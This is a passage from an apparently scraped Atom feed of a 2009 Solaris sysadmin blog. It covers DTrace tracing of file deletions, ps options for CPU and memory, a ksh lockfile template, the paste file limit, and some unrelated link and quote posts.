# &lt;stdin&gt;dtrace -qn 'syscall::unlink:entry {printf("PID=%d, CMD=%s, FILE=%s\n", pid, curpsinfo-&gt;pr_psargs, copyinstr(arg0));}'&lt;/stdin&gt;
PID=26993, CMD=/usr/sbin/cron, FILE=/tmp/croutTKG5dKjU0
PID=26993, CMD=/usr/sbin/cron, FILE=/tmp/croutUKG6dKjU0
PID=13668, CMD=/usr/bin/mail chihung, FILE=/var/tmp/mail5iaGSA
PID=10389, CMD=/usr/sbin/cron, FILE=/tmp/croutLIEDWaOsu
PID=13669, CMD=/usr/lib/sendmail -oi -- chihung, FILE=./xfn4DCU0Ua013669
PID=26993, CMD=/usr/sbin/cron, FILE=/tmp/croutVKG7dKjU0
PID=13678, CMD=/usr/bin/mail chihung, FILE=/var/tmp/mailq0aWTA
PID=13679, CMD=/usr/lib/sendmail -oi -- chihung, FILE=./xfn4DCV0BF013679
PID=26993, CMD=/usr/sbin/cron, FILE=/tmp/croutWKG8dKjU0
PID=13689, CMD=/usr/bin/mail chihung, FILE=/var/tmp/mailtFaiVA
PID=13690, CMD=/usr/lib/sendmail -oi -- chihung, FILE=./xfn4DCW0qf013690
&lt;/pre&gt;
&lt;p&gt;
In UNIX, the system call to delete/remove file is "unlink" and you can see that the "path" of the file to be deleted is the only parameter passed to the function call and that's why we de-reference the pointer using &lt;code&gt;copyinstr(arg0)&lt;/code&gt;
&lt;pre&gt;
# &lt;stdin&gt;man -s 2 unlink&lt;/stdin&gt;
System Calls                                            unlink(2)

NAME
     unlink, unlinkat - remove directory entry

SYNOPSIS
     #include &lt;unistd.h&gt;

     int unlink(const char *path);

     int unlinkat(int dirfd, const char *path, int flag);

DESCRIPTION
     The unlink() function removes a link  to  a  file.  If  path
     names  a  symbolic  link, unlink() removes the symbolic link
     named by path and does not  affect  any  file  or  directory
     named by the contents of the symbolic link.
      Otherwise, unlink() removes the link named by the  pathname
     pointed to by path and decrements the link count of the file
     referenced by the link.
&lt;/pre&gt;
&lt;p&gt;
Wanna to learn that, here are some tutorial materal I gathered from the web:
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.laurustech.com/Learning%20DTrace_Part1.pdf"&gt;Part 1 - Introduction&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.laurustech.com/Learning%20DTrace_Part2.pdf"&gt;Part 2 - Scripts and the D Language&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.laurustech.com/Learning%20DTrace_Part3.pdf"&gt;Part 3 - Advanced Scripting and Aggregations&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.laurustech.com/Learning%20DTrace_Part4.pdf"&gt;Part 4 - Solving Everyday Problems&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.laurustech.com/Learning%20DTrace_Part5.pdf"&gt;Part 5 - Completing the Picture&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.filibeto.org/~aduritz/truetrue/solaris10/dtrace/dtrace_workshop01_slides.pdf"&gt;DTrace on Solaris 10, by Brendan Gregg&lt;/a&gt;
&lt;/ul&gt;
&lt;p&gt;
You may also want to download the &lt;a href="http://opensolaris.org/os/community/dtrace/dtracetoolkit/"&gt;DTraceToolkit&lt;/a&gt; to see how powerful DTrace is.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-9146391898300012209?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/9146391898300012209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=9146391898300012209' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/9146391898300012209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/9146391898300012209'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/05/which-process-deleted-my-file.html' title='Which Process Deleted My File ?'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3027739691830950994</id><published>2009-04-29T08:34:00.010+08:00</published><updated>2009-04-29T21:21:12.713+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>CPU and MEM Usage of Processes</title><content type='html'>In &lt;a href="http://www.sun.com/software/solaris/"&gt;Solaris&lt;/a&gt;, if you want to find out the percentage of CPU and memory utilisation of processes, you will use the &lt;code&gt;/usr/ucb/ps aguxwww&lt;/code&gt; to get the details. However, sometimes the value from SZ column may be too big and overflow the formatting, as highlighted in red. 
&lt;pre&gt;
$ &lt;stdin&gt;/usr/ucb/ps aguxwww&lt;/stdin&gt;
USER       PID %CPU %MEM   SZ  RSS TT       S    START  TIME COMMAND
root     23190  0.0  0.0 7608 4080 ?        S 08:27:47  0:00 /usr/lib/ssh/sshd
chihung  23252  0.0  0.0 3464 3040 pts/21   O 08:28:06  0:00 /usr/ucb/ps -aguxwww
root     22658  0.0  0.0    0    0 ?        S   Oct 25  0:00 zsched
root     22676  0.0  0.0 2024 1200 ?        S   Oct 25  0:16 /sbin/init
&lt;highlight&gt;root     22678  0.0  0.110808 9496 ?        S   Oct 25  1:57 /lib/svc/bin/svc.startd&lt;/highlight&gt;
root     22680  0.0  0.1 9496 8560 ?        S   Oct 25  2:20 /lib/svc/bin/svc.configd
daemon   22720  0.0  0.0 3808 2128 ?        S   Oct 25  0:00 /usr/lib/crypto/kcfd
root     22726  0.0  0.0 4028 2824 ?        S   Oct 25  6:37 /usr/sbin/nscd
root     22782  0.0  0.0 2264 1048 ?        S   Oct 25  0:32 /usr/sbin/cron
daemon   22786  0.0  0.0 2280 1088 ?        S   Oct 25  0:00 /usr/sbin/rpcbind
daemon   22788  0.0  0.0 2336 1624 ?        S   Oct 25  0:00 /usr/lib/nfs/statd
daemon   22793  0.0  0.0 2068 1400 ?        S   Oct 25  0:00 /usr/lib/nfs/lockd
root     22794  0.0  0.0 1696  968 ?        S   Oct 25  0:03 /usr/lib/saf/sac -t 300
root     22798  0.0  0.0 1920 1184 ?        S   Oct 25  0:03 /usr/lib/saf/ttymon
root     22801  0.0  0.0 4972 3436 ?        S   Oct 25  0:00 /usr/lib/inet/inetd start
root     22804  0.0  0.0 1060  680 ?        S   Oct 25  0:15 /usr/lib/utmpd
root     22807  0.0  0.0 1952 1236 console  S   Oct 25  0:00 /usr/lib/saf/ttymon -g -d /dev/console -l console -T vt100 -m ldterm,ttcompat -
root     22870  0.0  0.0 4276  984 ?        S   Oct 25  0:00 /usr/lib/autofs/automountd
root     22871  0.0  0.0 4616 1968 ?        S   Oct 25  0:39 /usr/lib/autofs/automountd
root     22878  0.0  0.0 3352 1500 ?        S   Oct 25  0:00 /usr/lib/ssh/sshd
root     22882  0.0  0.0 3720 1756 ?        S   Oct 25  2:34 /usr/sbin/syslogd
root     22923  0.0  0.0 1700 1100 ?        S   Oct 25  0:00 /usr/sadm/lib/smc/bin/smcboot
root     22926  0.0  0.0 1696  748 ?        S   Oct 25  0:00 /usr/sadm/lib/smc/bin/smcboot
root     22927  0.0  0.0 1696  748 ?        S   Oct 25  0:00 /usr/sadm/lib/smc/bin/smcboot
root     22934  0.0  0.0 1888  716 ?        S   Oct 25  0:00 /usr/lib/locale/ja/wnn/dpkeyserv
root     22941  0.0  0.0 1572  648 ?        S   Oct 25  0:00 /usr/lib/locale/ja/wnn/jserver
root     22942  0.0  0.0 2264 1536 ?        S   Oct 25  0:00 /usr/lib/locale/ja/wnn/jserver_m
root     22946  0.0  0.0 1732  764 ?        S   Oct 25  0:00 /usr/lib/locale/ja/atokserver/atokmngdaemon
root     22951  0.0  0.0 2816 1400 ?        S   Oct 25  0:00 /usr/lib/im/htt -port 9010 -syslog -message_locale C
root     22953  0.0  0.0 4424 2448 ?        S   Oct 25  0:00 htt_server -port 9010 -syslog -message_locale C
root     22961  0.0  0.0 4400 1820 ?        S   Oct 25  0:00 /usr/dt/bin/dtlogin -daemon
root     23033  0.0  0.1 6828 5020 ?        S   Oct 25  1:28 /usr/sfw/sbin/snmpd
chihung  23197  0.0  0.0 7388 2004 ?        S 08:27:47  0:00 /usr/lib/ssh/sshd
chihung  23200  0.0  0.0 2524 1784 pts/21   S 08:27:47  0:00 -bash
&lt;/pre&gt;
&lt;p&gt;
Here I will show you couple of 'clean' ways to get processes' %CPU and %MEM.
&lt;ul&gt;
&lt;li&gt;With &lt;a href="http://opensolaris.org/"&gt;OpenSolaris&lt;/a&gt;, you can browse the source code and modify the formatting of the &lt;code&gt;/usr/ucb/ps&lt;/code&gt; ps(1b). You can download the &lt;a href="http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/ps/"&gt;source code&lt;/a&gt; from here.
&lt;li&gt;
You can use the "-o" flag in &lt;code&gt;/usr/bin/ps&lt;/code&gt; ps(1) to specify what you want the output to be. Here I get ps to list out only the PID, User, %CPU, %MEM and the command. Handy, isn't. &lt;code&gt;man ps&lt;/code&gt; to find out all the format specification, or type in some garbage flags for a quick help (see below)
&lt;pre&gt;
$ &lt;stdin&gt;ps -ef -o 'pid,user,pcpu,pmem,args'&lt;/stdin&gt;
  PID     USER %CPU %MEM COMMAND
22951     root  0.0  0.0 /usr/lib/im/htt -port 9010 -syslog -message_locale C
22680     root  0.0  0.1 /lib/svc/bin/svc.configd
22878     root  0.0  0.0 /usr/lib/ssh/sshd
22793   daemon  0.0  0.0 /usr/lib/nfs/lockd
22927     root  0.0  0.0 /usr/sadm/lib/smc/bin/smcboot
22798     root  0.0  0.0 /usr/lib/saf/ttymon
22942     root  0.0  0.0 /usr/lib/locale/ja/wnn/jserver_m
22961     root  0.0  0.0 /usr/dt/bin/dtlogin -daemon
22678     root  0.0  0.1 /lib/svc/bin/svc.startd
22953     root  0.0  0.0 htt_server -port 9010 -syslog -message_locale C
22804     root  0.0  0.0 /usr/lib/utmpd
22788   daemon  0.0  0.0 /usr/lib/nfs/statd
22871     root  0.0  0.0 /usr/lib/autofs/automountd
22720   daemon  0.0  0.0 /usr/lib/crypto/kcfd
22923     root  0.0  0.0 /usr/sadm/lib/smc/bin/smcboot
22882     root  0.0  0.0 /usr/sbin/syslogd
23033     root  0.0  0.1 /usr/sfw/sbin/snmpd
22676     root  0.0  0.0 /sbin/init
22926     root  0.0  0.0 /usr/sadm/lib/smc/bin/smcboot
22934     root  0.0  0.0 /usr/lib/locale/ja/wnn/dpkeyserv
22794     root  0.0  0.0 /usr/lib/saf/sac -t 300
22941     root  0.0  0.0 /usr/lib/locale/ja/wnn/jserver
22807     root  0.0  0.0 /usr/lib/saf/ttymon -g -d /dev/console -l console -T vt100 -m ldterm,ttcompat -
22782     root  0.0  0.0 /usr/sbin/cron
22726     root  0.0  0.0 /usr/sbin/nscd
22786   daemon  0.0  0.0 /usr/sbin/rpcbind
22870     root  0.0  0.0 /usr/lib/autofs/automountd
23197  chihung  0.0  0.0 /usr/lib/ssh/sshd
23190     root  0.0  0.0 /usr/lib/ssh/sshd
23200  chihung  0.0  0.0 -bash
23467  chihung  0.0  0.0 ps -ef -o pid,user,pcpu,pmem,args
22946     root  0.0  0.0 /usr/lib/locale/ja/atokserver/atokmngdaemon
22801     root  0.0  0.0 /usr/lib/inet/inetd start
22658     root  0.0  0.0 zsched

$ &lt;stdin&gt;ps -garbage&lt;/stdin&gt;
ps: arbage is an invalid non-numeric argument for -g option
usage: ps [ -aAdeflcjLPyZ ] [ -o format ] [ -t termlist ]
        [ -u userlist ] [ -U userlist ] [ -G grouplist ]
        [ -p proclist ] [ -g pgrplist ] [ -s sidlist ] [ -z zonelist ]
  'format' is one or more of:
        user ruser group rgroup uid ruid gid rgid pid ppid pgid sid taskid ctid
        pri opri pcpu pmem vsz rss osz nice class time etime stime zone zoneid
        f s c lwp nlwp psr tty addr wchan fname comm args projid project pset

&lt;/pre&gt;
&lt;li&gt;Compile this &lt;a href="http://blogs.sun.com/timc/entry/pstime_a_mash_up_of"&gt;ps and ptime mashup&lt;/a&gt;. This gives you the CPU breakdown in USR and SYS over a certain interval.
&lt;/ul&gt;
&lt;p&gt;
With this, you should be able to plot the CPU/MEM utilisation of processes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3027739691830950994?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3027739691830950994/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3027739691830950994' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3027739691830950994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3027739691830950994'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/cpu-and-mem-usage-of-processes.html' title='CPU and MEM Usage of Processes'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2121128477113093293</id><published>2009-04-17T07:34:00.003+08:00</published><updated>2009-04-17T07:37:41.466+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='quotes'/><title type='text'>Inspiring Quotes, Part 2</title><content type='html'>Two weeks ago, I posted &lt;a href="http://chihungchan.blogspot.com/2009/04/inspiring-quotes-part-1.html"&gt;Inspiring Quotes, Part 1&lt;/a&gt;. Here is Part 2:
&lt;p&gt;
Inspiring Quotes (Part II)


&lt;blockquote&gt;"Life's challenges are not supposed to paralyze you, they're supposed to help you discover who you are. - Bernice Johnson Reagon&lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"Challenges are what make life interesting; overcoming them is what makes life meaningful. - Joshua J. Marine&lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"There are only two ways to live your life. One is as though nothing is a miracle. The other is as if everything is. " - Albert Einstein &lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"The measure of a man is the way he bears up under misfortune.  - Plutarch&lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"When life gives you a hundred reasons to cry, show life that you have a thousand reasons to smile. - Duke Ellington&lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"Change your thoughts and you change your world. - Norman Vincent Peale &lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"No one can make you feel inferior without your consent. - Eleanor Roosevelt &lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"Life is either a daring adventure or nothing. - Helen Keller&lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"In the end, what we regret most are the chances we never took."  - Frasier Crane &lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"It is hard to fail, but it is worse never to have tried to succeed.  - Theodore Roosevelt &lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"A bend in the road is not the end of the road... unless you fail to make the turn." - Unknown &lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"The block of granite which was an obstacle in the pathway of the weak, became a stepping-stone in the pathway of the strong. - Thomas Carlyle &lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"A smooth sea never made a skillful mariner.  - Anonymous  &lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"Obstacles are those frightful things you see when you take your eyes off your goals. - Anonymous&lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"Our greatest glory is not in never failing, but in rising up every time we fail. - Ralph Waldo Emerson&lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"What happens to a man is less significant than what happens within him.  - Louis L. Mann&lt;/blockquote&gt;
&lt;p&gt;
&lt;blockquote&gt;"What lies behind us and what lies before us are tiny matters compared to what lies within us." - Emerson &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2121128477113093293?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2121128477113093293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2121128477113093293' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2121128477113093293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2121128477113093293'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/inspiring-quotes-part-2.html' title='Inspiring Quotes, Part 2'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3828734649501911954</id><published>2009-04-14T22:17:00.002+08:00</published><updated>2009-04-14T22:21:34.479+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='opensolaris'/><title type='text'>OpenSolaris Live USB Creator in Windows</title><content type='html'>Last Saturday, Hiroshi Chonan announced this:
&lt;blockquote&gt;
Hello All!&lt;br&gt;
&lt;br&gt;
Nowadays, there are lot of OpenSolaris-flavored USB Images. Didn't you&lt;br&gt;
feel difficult when creating LiveUSB sticks?&lt;br&gt;
Do you want to create sticks using easy way on Windows PC?&lt;br&gt;
&lt;br&gt;
I wrote utility to create OpenSolaris LiveUSB stick which work under&lt;br&gt;
Windows OS.&lt;br&gt;
&lt;br&gt;
Please check URL below ;&lt;br&gt;
&lt;a href="http://devzone.sites.pid0.org/OpenSolaris/opensolaris-liveusb-creator"&gt;http://devzone.sites.pid0.org/OpenSolaris/opensolaris-liveusb-creator&lt;/a&gt;
&lt;br&gt;
Hiroshi Chonan&lt;br&gt;
&lt;br&gt;
-- &lt;br&gt;
Hiroshi Chonan &lt;chonan at pid0.org&gt;&lt;br&gt;
SCA # OS0255&lt;br&gt;
&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3828734649501911954?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3828734649501911954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3828734649501911954' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3828734649501911954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3828734649501911954'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/opensolaris-live-usb-creator-in-windows.html' title='OpenSolaris Live USB Creator in Windows'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-855855139038638903</id><published>2009-04-11T17:57:00.004+08:00</published><updated>2009-04-11T18:11:32.783+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Data Centre'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Uncloaks Their Servers and Data Centre</title><content type='html'>Not sure whether you know that &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt; does not buy servers from vendors, instead they build their own. Do you know that their data centres do not come with &lt;a href="http://en.wikipedia.org/wiki/Uninterruptible_power_supply"&gt;UPS&lt;/a&gt; power because each server has its own 12-volt battery to supply power if there's a problem with the main source of electricity.
&lt;p&gt;
Read &lt;a href="http://news.cnet.com/8301-1001_3-10209580-92.html"&gt;this article&lt;/a&gt; for more details.&lt;br&gt;
&lt;img src="http://i.i.com.com/cnwk.1d/i/bto/20090401/GoogleServerMedium.jpg" /&gt;
&lt;br&gt;
&lt;img src="http://i.i.com.com/cnwk.1d/i/bto/20090401/Google_data_centers-1.jpg" /&gt;
&lt;p&gt;
This video features Google container data center tour&lt;br&gt;
&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/zRwPSFpLX8I&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/zRwPSFpLX8I&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;
&lt;p&gt;
Shouldn't those who work in data centre given hearing protector. See the video at 4:19.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-855855139038638903?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/855855139038638903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=855855139038638903' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/855855139038638903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/855855139038638903'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/google-uncloaks-their-servers-and-data.html' title='Google Uncloaks Their Servers and Data Centre'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6042918345683249763</id><published>2009-04-11T17:37:00.003+08:00</published><updated>2009-04-11T17:43:46.183+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='awk'/><title type='text'>An Interview With One of the AWK Inventors</title><content type='html'>Read &lt;a href="http://broadcast.oreilly.com/2009/04/an-interview-with-brian-kernig.html"&gt;this&lt;/a&gt; interview with one of the &lt;a href="http://en.wikipedia.org/wiki/AWK_(programming_language)"&gt;AWK&lt;/a&gt; inventors, &lt;a href="http://en.wikipedia.org/wiki/Brian_Kernighan"&gt;Brian Kernighan&lt;/a&gt;.
&lt;p&gt;
&lt;a href="http://en.wikipedia.org/wiki/AWK_(programming_language)"&gt;AWK&lt;/a&gt; is definitely one of my favourite tools in my &lt;a href="http://en.wikipedia.org/wiki/Swiss_Army_knife"&gt;Swiss Army Knife&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6042918345683249763?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6042918345683249763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6042918345683249763' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6042918345683249763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6042918345683249763'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/interview-with-one-of-awk-inventors.html' title='An Interview With One of the AWK Inventors'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8490353331832310946</id><published>2009-04-10T17:41:00.006+08:00</published><updated>2009-04-10T20:15:28.047+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Serialise Asynchronous Shell Scripts</title><content type='html'>You know that your shell script will break if more than one copy is running in the system. You also know that your script will be launched via a scheduler and you do not have control on when the job will be run. In such situation, you may want to have some form of locking mechanism feature in your script to ensure serialisation. First, your script has to start with acquiring a lock before doing any work. If not, it will have to go into a spin and check periodically to see whether such lock is still available, else exit if such lock cannot be acquired within a certain period. Removal of lockfile is part of the cleanup process when the script terminates.
&lt;p&gt;
Here is my sample template to implement what I described above. Hope it can help you to serialise your asynchronous jobs.
&lt;pre&gt;
#! /bin/ksh


trap &amp;quot;lock_release&amp;quot; 0 1 2 3 5 9 15
LOCK_FILE=&amp;quot;${TMPDIR:-/tmp}/lockfile-${0##*/}&amp;quot;
too_old=86400; # 1 day, 86400 seconds
verbose=1


debug()
{
        [ $verbose -eq 1 ] &amp;amp;&amp;amp; echo $*
}
lock_acquire()
{
        debug &amp;quot;Acquiring lock ...&amp;quot;

        #
        # if lockfile is too old, remove it
        #
        if [ -f $LOCK_FILE ]; then
                tdiff=`perl -e '@a=stat(&amp;quot;'$LOCK_FILE'&amp;quot;);print time()-$a[9]'`
                if [ $tdiff -gt $too_old ]; then
                        debug &amp;quot;Lock file ($LOCK_FILE) is older than 1 day, remove it&amp;quot;
                        rm -f $LOCK_FILE
                fi
        fi

        spin=5
        timeout=30
        howlong=0
        while :
        do
                if [ ! -f $LOCK_FILE ]; then
                        touch $LOCK_FILE
                        LOCK_STATUS=0
                        break
                fi
                sleep $spin
                (( howlong = howlong + spin))
                if [ $howlong -gt $timeout ]; then
                        LOCK_STATUS=1
                        break
                fi
                debug &amp;quot;Waited ${howlong}s for lockfile ($LOCK_FILE) to be released&amp;quot;
        done

        if [ $LOCK_STATUS -eq 1 ]; then
                debug &amp;quot;ERROR. Unable to acquire lock. Exit.&amp;quot;
                exit 1
        fi
        debug &amp;quot;OK. Lock ($LOCK_FILE) acquired.&amp;quot;
        return $LOCK_STATUS
}
lock_release()
{
        if [ $LOCK_STATUS -eq 0 ]; then
                debug &amp;quot;Releasing lock ($LOCK_FILE)&amp;quot;
                rm -f $LOCK_FILE &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
        fi
}
lock_acquire


# ----- main program ------
debug &amp;quot;Do something&amp;quot;
sleep 30
&lt;/pre&gt;
&lt;p&gt;
Try to run this script in a few terminals to have a feel yourself.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8490353331832310946?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8490353331832310946/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8490353331832310946' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8490353331832310946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8490353331832310946'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/serialise-asynchronous-shell-scripts.html' title='Serialise Asynchronous Shell Scripts'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-5924418182669993633</id><published>2009-04-10T16:54:00.003+08:00</published><updated>2009-04-10T17:17:19.538+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='awk'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>paste: too many files- limit 12, in Solaris</title><content type='html'>When you collect performance data from system, very often you would want to prepend with timestamp (HH:MM:SS). Suppose you collect similar data across a number of servers, you would want to put them together and have them imported in your favourite spreadsheet software for further analysis.
&lt;p&gt;
In UNIX, you can &lt;code&gt;paste&lt;/code&gt; them together. Below I will create 20 files (host*.txt) with some random data prepended with timestamp
&lt;pre&gt;
$ &lt;stdin&gt;for i in `perl -e '$,=&amp;quot; &amp;quot;;print 1..20'`
do
        for j in 1 2 3 4 5 6 7 8 9
        do
                ((v=RANDOM%100))
                echo &amp;quot;0$j:00:00 $v&amp;quot;
        done &amp;gt; host$i.txt
done&lt;/stdin&gt;

$ &lt;stdin&gt;paste host1.txt host2.txt host3.txt host4.txt&lt;/stdin&gt;
01:00:00 56     01:00:00 61     01:00:00 83     01:00:00 50
02:00:00 59     02:00:00 1      02:00:00 96     02:00:00 72
03:00:00 31     03:00:00 33     03:00:00 71     03:00:00 60
04:00:00 54     04:00:00 29     04:00:00 61     04:00:00 36
05:00:00 62     05:00:00 69     05:00:00 25     05:00:00 36
06:00:00 2      06:00:00 72     06:00:00 76     06:00:00 8
07:00:00 69     07:00:00 59     07:00:00 91     07:00:00 89
